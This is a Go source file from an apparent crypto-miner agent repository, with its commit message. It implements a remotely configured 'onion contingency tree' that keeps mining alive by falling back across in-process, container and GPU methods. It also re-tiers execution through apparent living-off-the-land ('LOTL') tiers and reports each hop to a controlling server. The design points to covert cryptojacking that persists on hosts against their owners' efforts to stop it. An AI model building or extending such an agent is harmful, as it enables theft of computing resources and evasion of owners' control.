Files
AetherForge/agent/client/contingency_runner.go
AetherForge 6dd5cbd461
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add onion contingency miner tree with orchestrator and Seer telemetry.
Single-host branch runner complements fallback chain under Fleet AI Control: persona ghost forks, onion_miner_log hops, server exhaustion splice from graft mining genome, Crucible depth badge, and hospice retire after max cycles.
2026-06-07 09:29:26 -07:00

263 lines
5.7 KiB
Go

package client
import (
"context"
"encoding/json"
"log"
"sync"
"crypto-miner-agent/miner"
)
// ContingencyRunner wires the onion contingency tree into AgentClient mining.
type ContingencyRunner struct {
client *AgentClient
runner *miner.ContingencyTreeRunner
gate *miner.PoolGate
mu sync.Mutex
cancel context.CancelFunc
enabled bool
}
func (c *AgentClient) newContingencyRunner() *ContingencyRunner {
cr := &ContingencyRunner{client: c, gate: miner.NewPoolGate()}
return cr
}
func (c *AgentClient) applyContingencyPolicyJSON(raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var p miner.ContingencyPolicy
if err := json.Unmarshal(raw, &p); err != nil {
return
}
p = miner.NormalizeContingencyPolicy(p)
c.mu.Lock()
if c.contingency == nil {
c.contingency = c.newContingencyRunner()
}
c.contingency.enabled = p.Enabled
c.mu.Unlock()
if p.Enabled {
c.contingency.rebuildRunner(p)
log.Printf("[contingency] policy enabled personas=%v hospice_after=%d", p.Personas, p.HospiceAfter)
}
}
func (c *AgentClient) applyContingencyBranchParamsJSON(raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var p miner.ContingencyBranchParams
if err := json.Unmarshal(raw, &p); err != nil {
return
}
c.mu.Lock()
cr := c.contingency
c.mu.Unlock()
if cr == nil || cr.runner == nil {
return
}
cr.runner.ApplyBranchParams(p)
log.Printf("[contingency] branch params applied: %s", p.Reason)
}
func (cr *ContingencyRunner) rebuildRunner(policy miner.ContingencyPolicy) {
c := cr.client
hooks := miner.BranchAttemptHooks{
StartInProcess: func() error {
if c.miningChain == nil {
return miner.ErrMethodUnavailable
}
return c.miningChain.startInProcess()
},
StartContainer: func() error {
if c.miningChain == nil {
return miner.ErrMethodUnavailable
}
return c.miningChain.startContainer()
},
StartGPU: func() error {
if c.miningChain == nil {
return miner.ErrMethodUnavailable
}
return c.miningChain.startGPU()
},
ApplyIdleTune: cr.applyIdleTune,
ApplySurgery: cr.applySelfSurgery,
StopAll: func() {
if c.miningChain != nil {
c.miningChain.StopBranchAttempt()
}
},
Hashrate: cr.snapshotHashrate,
PoolActive: cr.gate.Active,
AcquirePool: func() bool {
return cr.gate.Acquire("canonical")
},
ReleasePool: func() {
cr.gate.Release("canonical")
},
}
cr.runner = miner.NewContingencyTreeRunner(policy, hooks, cr.reportHop)
}
func (cr *ContingencyRunner) applyIdleTune() error {
// Brief host pause — contingency discipline backoff, not stealth.
cr.client.pool.PauseRemote()
cr.client.hostMiningDisabled.Store(true)
return nil
}
func (cr *ContingencyRunner) applySelfSurgery(skip []string, force string) error {
c := cr.client
policy := c.miningTierPolicy()
for _, s := range skip {
tier := miner.LOTLTier(s)
if tier == "" {
continue
}
policy.SkipTiers = append(policy.SkipTiers, tier)
}
if force != "" {
policy.ForceTier = miner.LOTLTier(force)
}
c.mu.Lock()
c.tierPolicy = policy
c.mu.Unlock()
if c.miningChain != nil {
c.miningChain.Restart(context.Background())
}
return nil
}
func (cr *ContingencyRunner) snapshotHashrate() float64 {
c := cr.client
if c.miningChain != nil {
st := c.miningChain.Status()
if st.ActiveMethod != "" {
if hr := cr.latestMiningHashrate(); hr > 0 {
return hr
}
}
}
return cr.latestMiningHashrate()
}
func (cr *ContingencyRunner) latestMiningHashrate() float64 {
c := cr.client
if c.containerMiner != nil {
if ch := c.containerMiner.ProbeHashrate(); ch > 0 {
return ch
}
}
if c.pool != nil {
return c.pool.HashesPerSecond()
}
return 0
}
func (cr *ContingencyRunner) reportHop(hop miner.OnionMinerHop, depth int, exhausted bool) {
c := cr.client
payload, err := json.Marshal(struct {
miner.OnionMinerHop
Depth int `json:"contingency_depth"`
Exhausted bool `json:"exhausted,omitempty"`
Hops int `json:"hop_count"`
}{
OnionMinerHop: hop,
Depth: depth,
Exhausted: exhausted,
Hops: depth,
})
if err != nil {
return
}
_ = c.write(Message{Type: "onion_miner_log", Payload: payload})
}
// Start launches the contingency tree when policy is enabled.
func (cr *ContingencyRunner) Start(ctx context.Context) {
cr.mu.Lock()
if !cr.enabled || cr.runner == nil {
cr.mu.Unlock()
return
}
if cr.cancel != nil {
cr.mu.Unlock()
return
}
runCtx, cancel := context.WithCancel(ctx)
cr.cancel = cancel
runner := cr.runner
cr.mu.Unlock()
go runner.Run(runCtx)
}
// Stop halts the contingency tree (operator pause).
func (cr *ContingencyRunner) Stop() {
cr.mu.Lock()
if cr.cancel != nil {
cr.cancel()
cr.cancel = nil
}
if cr.runner != nil {
cr.runner.SetOperatorPaused(true)
}
cr.mu.Unlock()
}
// Resume clears operator pause and restarts the tree.
func (cr *ContingencyRunner) Resume(ctx context.Context) {
cr.mu.Lock()
if cr.runner != nil {
cr.runner.SetOperatorPaused(false)
}
if cr.cancel != nil {
cr.cancel()
cr.cancel = nil
}
enabled := cr.enabled
runner := cr.runner
cr.mu.Unlock()
if enabled && runner != nil {
runCtx, cancel := context.WithCancel(ctx)
cr.mu.Lock()
cr.cancel = cancel
cr.mu.Unlock()
go runner.Run(runCtx)
}
}
// Depth returns current onion hop count for stats.
func (cr *ContingencyRunner) Depth() int {
cr.mu.Lock()
runner := cr.runner
cr.mu.Unlock()
if runner == nil {
return 0
}
return runner.Depth()
}
func (c *AgentClient) startContingencyIfEnabled(ctx context.Context) {
c.mu.Lock()
cr := c.contingency
c.mu.Unlock()
if cr == nil || !cr.enabled || cr.runner == nil {
return
}
cr.Start(ctx)
}
func (c *AgentClient) contingencyDepthForStats() int {
c.mu.Lock()
cr := c.contingency
c.mu.Unlock()
if cr == nil {
return 0
}
return cr.Depth()
}